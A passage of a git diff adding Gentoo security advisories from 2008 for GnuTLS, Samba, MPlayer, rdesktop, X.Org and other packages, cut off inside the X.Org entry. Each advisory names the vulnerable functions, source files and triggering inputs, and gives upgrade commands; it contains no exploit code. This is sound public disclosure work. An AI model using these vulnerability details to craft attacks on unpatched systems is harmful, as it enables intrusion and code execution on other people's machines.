+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0314">CVE-2008-0314</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1100">CVE-2008-1100</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1387">CVE-2008-1387</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1833">CVE-2008-1833</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1835">CVE-2008-1835</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1836">CVE-2008-1836</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1837">CVE-2008-1837</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 14 May 2008 18:45:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 May 2008 18:56:12 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-20.xml b/xml/htdocs/security/en/glsa/glsa-200805-20.xml
new file mode 100644
index 00000000..c19c4d00
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-20.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-20">
+  <title>GnuTLS: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities might allow for the execution of arbitrary code in
+    daemons using GnuTLS.
+  </synopsis>
+  <product type="ebuild">gnutls</product>
+  <announced>May 21, 2008</announced>
+  <revised>May 21, 2008: 01</revised>
+  <bug>222823</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">2.2.5</unaffected>
+      <vulnerable range="lt">2.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuTLS is an implementation of Secure Sockets Layer (SSL) 3.0 and
+    Transport Layer Security (TLS) 1.0, 1.1 and 1.2.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ossi Herrala and Jukka Taimisto of Codenomicon reported three
+    vulnerabilities in libgnutls of GnuTLS:
+    </p>
+    <ul>
+    <li>
+    "Client Hello" messages containing an invalid server name can lead to a
+    buffer overflow when evaluating "Security Parameters" (CVE-2008-1948).
+    </li>
+    <li>
+    Multiple "Client Hello" messages can lead to a NULL pointer dereference
+    (CVE-2008-1949).
+    </li>
+    <li>
+    A TLS handshake including an encrypted "Client Hello" message and an
+    invalid record length could lead to a buffer overread (CVE-2008-1950).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    Unauthenticated remote attackers could exploit these vulnerabilities to
+    cause Denial of Service conditions in daemons using GnuTLS. The first
+    vulnerability (CVE-2008-1948) might allow for the execution of
+    arbitrary code with the privileges of the daemon handling incoming TLS
+    connections.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuTLS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/gnutls-2.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1948">CVE-2008-1948</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1949">CVE-2008-1949</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1950">CVE-2008-1950</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 20 May 2008 16:44:10 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 21 May 2008 16:32:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-21.xml b/xml/htdocs/security/en/glsa/glsa-200805-21.xml
new file mode 100644
index 00000000..b87517c0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-21.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-21">
+  <title>Roundup: Permission bypass</title>
+  <synopsis>
+    A vulnerability in Roundup allows for bypassing permission restrictions.
+  </synopsis>
+  <product type="ebuild">roundup</product>
+  <announced>May 27, 2008</announced>
+  <revised>May 27, 2008: 01</revised>
+  <bug>212488</bug>
+  <bug>214666</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/roundup" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4-r1</unaffected>
+      <vulnerable range="lt">1.4.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Roundup is an issue-tracking system with command-line, web and e-mail
+    interfaces.
+    </p>
+  </background>
+  <description>
+    <p>
+    Philipp Gortan reported that the xml-rpc server in Roundup does not
+    check property permissions (CVE-2008-1475). Furthermore, Roland Meister
+    discovered multiple vulnerabilities caused by unspecified errors, some
+    of which may be related to cross-site scripting (CVE-2008-1474).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit the first vulnerability to
+    edit or view restricted properties via the list(), display(), and set()
+    methods. The impact and attack vectors of the second vulnerability are
+    unknown.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Roundup users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/roundup-1.4.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1474">CVE-2008-1474</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1475">CVE-2008-1475</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 19 May 2008 15:24:06 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 21 May 2008 19:07:57 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 22 May 2008 09:03:17 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-22.xml b/xml/htdocs/security/en/glsa/glsa-200805-22.xml
new file mode 100644
index 00000000..ae0a085a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-22.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-22">
+  <title>MPlayer: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    An integer overflow vulnerability in MPlayer may allow for the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>May 29, 2008</announced>
+  <revised>May 29, 2008: 01</revised>
+  <bug>215006</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_rc2_p26753</unaffected>
+      <vulnerable range="lt">1.0_rc2_p26753</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player including support for a wide range of audio
+    and video formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    k`sOSe reported an integer overflow vulnerability in the
+    sdpplin_parse() function in the file stream/realrtsp/sdpplin.c, which
+    can be exploited to overwrite arbitrary memory regions via an overly
+    large "StreamCount" SDP parameter.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted media
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_rc2_p26753&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1558">CVE-2008-1558</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 22 May 2008 17:37:55 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 May 2008 21:32:21 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 28 May 2008 13:57:42 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-23.xml b/xml/htdocs/security/en/glsa/glsa-200805-23.xml
new file mode 100644
index 00000000..3ad6123b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-23.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-23">
+  <title>Samba: Heap-based buffer overflow</title>
+  <synopsis>
+    A heap-based buffer overflow vulnerability was found in Samba, allowing for
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>May 29, 2008</announced>
+  <revised>May 29, 2008: 01</revised>
+  <bug>222299</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.28a-r1</unaffected>
+      <vulnerable range="lt">3.0.28a-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a suite of SMB and CIFS client/server programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop (Secunia Research) reported a vulnerability in Samba
+    within the receive_smb_raw() function in the file lib/util_sock.c when
+    parsing SMB packets, possibly leading to a heap-based buffer overflow
+    via an overly large SMB packet.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit this vulnerability by enticing
+    a user to connect to a malicious server or by sending specially crafted
+    packets to an nmbd server configured as a local or domain master
+    browser, resulting in the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.28a-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1105">CVE-2008-1105</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 27 May 2008 15:20:30 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 May 2008 21:23:53 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 29 May 2008 13:07:54 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-01.xml b/xml/htdocs/security/en/glsa/glsa-200806-01.xml
new file mode 100644
index 00000000..5cd1da3a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-01">
+  <title>mtr: Stack-based buffer overflow</title>
+  <synopsis>
+    A stack-based buffer overflow was found in mtr, possibly resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mtr</product>
+  <announced>June 03, 2008</announced>
+  <revised>June 03, 2008: 01</revised>
+  <bug>223017</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/mtr" auto="yes" arch="*">
+      <unaffected range="ge">0.73-r1</unaffected>
+      <vulnerable range="lt">0.73-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mtr combines the functionality of the 'traceroute' and 'ping' programs
+    in a single network diagnostic tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Adam Zabrocki reported a boundary error within the split_redraw()
+    function in the file split.c, possibly leading to a stack-based buffer
+    overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could use a specially crafted resolved hostname to
+    execute arbitrary code with root privileges. However, it is required
+    that the attacker controls the DNS server used by the victim, and that
+    the "-p" (or "--split") command line option is used.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mtr users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/mtr-0.73-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2357">CVE-2008-2357</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 26 May 2008 19:29:01 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 May 2008 21:17:06 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 02 Jun 2008 21:28:08 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-02.xml b/xml/htdocs/security/en/glsa/glsa-200806-02.xml
new file mode 100644
index 00000000..0e949b89
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-02.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-02">
+  <title>libxslt: Execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability was found in libxslt, possibly resulting in the execution
+    of arbitrary code and Denial of Service.
+  </synopsis>
+  <product type="ebuild">libxslt</product>
+  <announced>June 03, 2008</announced>
+  <revised>June 03, 2008: 01</revised>
+  <bug>222499</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libxslt" auto="yes" arch="*">
+      <unaffected range="ge">1.1.24</unaffected>
+      <vulnerable range="lt">1.1.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Libxslt is the XSLT C library developed for the GNOME project. XSLT
+    itself is an XML language to define transformations for XML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Anthony de Almeida Lopes reported a vulnerability in libxslt when
+    handling XSL style-sheet files, which could be exploited to trigger the
+    use of uninitialized memory, e.g. in a call to "free()".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to process an
+    XML file using a specially crafted XSL transformation file, possibly
+    resulting in the execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libxslt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libxslt-1.1.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1767">CVE-2008-1767</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 27 May 2008 20:52:43 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 27 May 2008 21:07:25 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 02 Jun 2008 21:27:22 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-03.xml b/xml/htdocs/security/en/glsa/glsa-200806-03.xml
new file mode 100644
index 00000000..965b7f5c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-03.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-03">
+  <title>Imlib 2: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Two vulnerabilities in Imlib 2 may allow for the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">imlib2</product>
+  <announced>June 08, 2008</announced>
+  <revised>June 08, 2008: 01</revised>
+  <bug>223965</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/imlib2" auto="yes" arch="*">
+      <unaffected range="ge">1.4.0-r1</unaffected>
+      <vulnerable range="lt">1.4.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Imlib 2 is an advanced replacement library for libraries like libXpm.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius (Secunia Research) reported two boundary errors in
+    Imlib2:
+    </p>
+    <ul>
+    <li>One of them within the load() function in the
+    file src/modules/loaders/loader_pnm.c when processing the header of a
+    PNM image file, possibly leading to a stack-based buffer overflow.</li>
+    <li>The second one within the load() function in the file
+    src/modules/loader_xpm.c when processing an XPM image file, possibly
+    leading to a stack-based buffer overflow.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted PNM
+    or XPM image, possibly resulting in the execution of arbitrary code
+    with the rights of the user running the application using Imlib 2.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Imlib 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/imlib2-1.4.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2426">CVE-2008-2426</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 31 May 2008 09:11:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 03 Jun 2008 07:11:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Jun 2008 17:06:14 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-04.xml b/xml/htdocs/security/en/glsa/glsa-200806-04.xml
new file mode 100644
index 00000000..2541f1aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-04.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-04">
+  <title>rdesktop: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in rdesktop may lead to the execution of arbitrary
+    code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">rdesktop</product>
+  <announced>June 14, 2008</announced>
+  <revised>June 14, 2008: 01</revised>
+  <bug>220911</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rdesktop" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0</unaffected>
+      <vulnerable range="lt">1.6.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rdesktop is an open source Remote Desktop Protocol (RDP) client.
+    </p>
+  </background>
+  <description>
+    <p>
+    An anonymous researcher reported multiple vulnerabilities in rdesktop
+    via iDefense Labs:
+    </p>
+    <ul>
+    <li>An integer underflow error exists in
+    the function iso_recv_msg() in the file iso.c which can be triggered
+    via a specially crafted RDP request, causing a heap-based buffer
+    overflow (CVE-2008-1801).</li>
+    <li>An input validation error exists in
+    the function process_redirect_pdu() in the file rdp.c which can be
+    triggered via a specially crafted RDP redirect request, causing a
+    BSS-based buffer overflow (CVE-2008-1802).</li>
+    <li>
+    An integer signedness error exists in the function xrealloc() in the
+    file rdesktop.c which can be be exploited to cause a heap-based buffer
+    overflow (CVE-2008-1803).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities by enticing a user to
+    connect to a malicious RDP server thereby allowing the attacker to
+    execute arbitrary code or cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rdesktop users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/rdesktop-1.6.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1801">CVE-2008-1801</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1802">CVE-2008-1802</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1803">CVE-2008-1803</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 19 May 2008 15:23:05 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Jun 2008 15:21:36 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 Jun 2008 15:00:31 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-05.xml b/xml/htdocs/security/en/glsa/glsa-200806-05.xml
new file mode 100644
index 00000000..9073d92a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-05">
+  <title>cbrPager: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Insecure filename usage in cbrPager may allow for the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">cbrpager</product>
+  <announced>June 16, 2008</announced>
+  <revised>June 16, 2008: 01</revised>
+  <bug>223657</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-misc/cbrpager" auto="yes" arch="*">
+      <unaffected range="ge">0.9.17</unaffected>
+      <vulnerable range="lt">0.9.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cbrPager is a comic book pager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mamoru Tasaka discovered that filenames of the image archives are not
+    properly sanitized before being passed to decompression utilities like
+    unrar and unzip, which use the system() libc library call.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open an archive with a
+    specially crafted filename, resulting in arbitrary code execution with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cbrPager users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/cbrpager-0.9.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2575">CVE-2008-2575</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 May 2008 17:48:23 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 03 Jun 2008 15:18:59 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 14 Jun 2008 21:12:52 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-06.xml b/xml/htdocs/security/en/glsa/glsa-200806-06.xml
new file mode 100644
index 00000000..ac26ccbd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-06.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-06">
+  <title>Evolution: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in Evolution may allow for user-assisted execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution</product>
+  <announced>June 16, 2008</announced>
+  <revised>June 16, 2008: 01</revised>
+  <bug>223963</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/evolution" auto="yes" arch="*">
+      <unaffected range="ge">2.12.3-r2</unaffected>
+      <vulnerable range="lt">2.12.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is the mail client of the GNOME desktop environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alin Rad Pop (Secunia Research) reported two vulnerabilities in
+    Evolution:
+    </p>
+    <ul><li>
+    A boundary error exists when parsing overly long timezone strings
+    contained within iCalendar attachments and when the ITip formatter is
+    disabled (CVE-2008-1108).</li>
+    <li>
+    A boundary error exists when replying to an iCalendar request with an
+    overly long "DESCRIPTION" property while in calendar view
+    (CVE-2008-1109).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    iCalendar attachment, resulting in the execution of arbitrary code with
+    the privileges of the user running Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/evolution-2.12.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1108">CVE-2008-1108</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1109">CVE-2008-1109</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 03 Jun 2008 15:11:52 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 05 Jun 2008 10:04:23 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 14 Jun 2008 21:39:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200806-07.xml b/xml/htdocs/security/en/glsa/glsa-200806-07.xml
new file mode 100644
index 00000000..90136c83
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200806-07.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200806-07">
+  <title>X.Org X server: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the X.Org X server,
+    possibly allowing for the remote execution of arbitrary code with root
+    privileges.
+  </synopsis>
+  <product type="ebuild">xorg-server</product>
+  <announced>June 19, 2008</announced>
+  <revised>June 19, 2008: 01</revised>
+  <bug>225419</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="x11-base/xorg-server" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0.0-r6</unaffected>
+      <vulnerable range="lt">1.3.0.0-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X Window System is a graphical windowing system based on a
+    client/server model.
+    </p>
+  </background>
+  <description>
+    <p>
+    Regenrecht reported multiple vulnerabilities in various X server
+    extensions via iDefense:
+    </p>
+    <ul>
+    <li>The
+    SProcSecurityGenerateAuthorization() and SProcRecordCreateContext()
+    functions of the RECORD and Security extensions are lacking proper
+    parameter validation (CVE-2008-1377).</li>
+    <li>An integer overflow is
+    possible in the function ShmPutImage() of the MIT-SHM extension
+    (CVE-2008-1379).</li>
+    <li>The RENDER extension contains several
+    possible integer overflows in the AllocateGlyph() function
+    (CVE-2008-2360) which could possibly lead to a heap-based buffer
+    overflow. Further possible integer overflows have been found in the
+    ProcRenderCreateCursor() function (CVE-2008-2361) as well as in the
+    SProcRenderCreateLinearGradient(), SProcRenderCreateRadialGradient()
+    and SProcRenderCreateConicalGradient() functions (CVE-2008-2362).</li>
+    </ul>
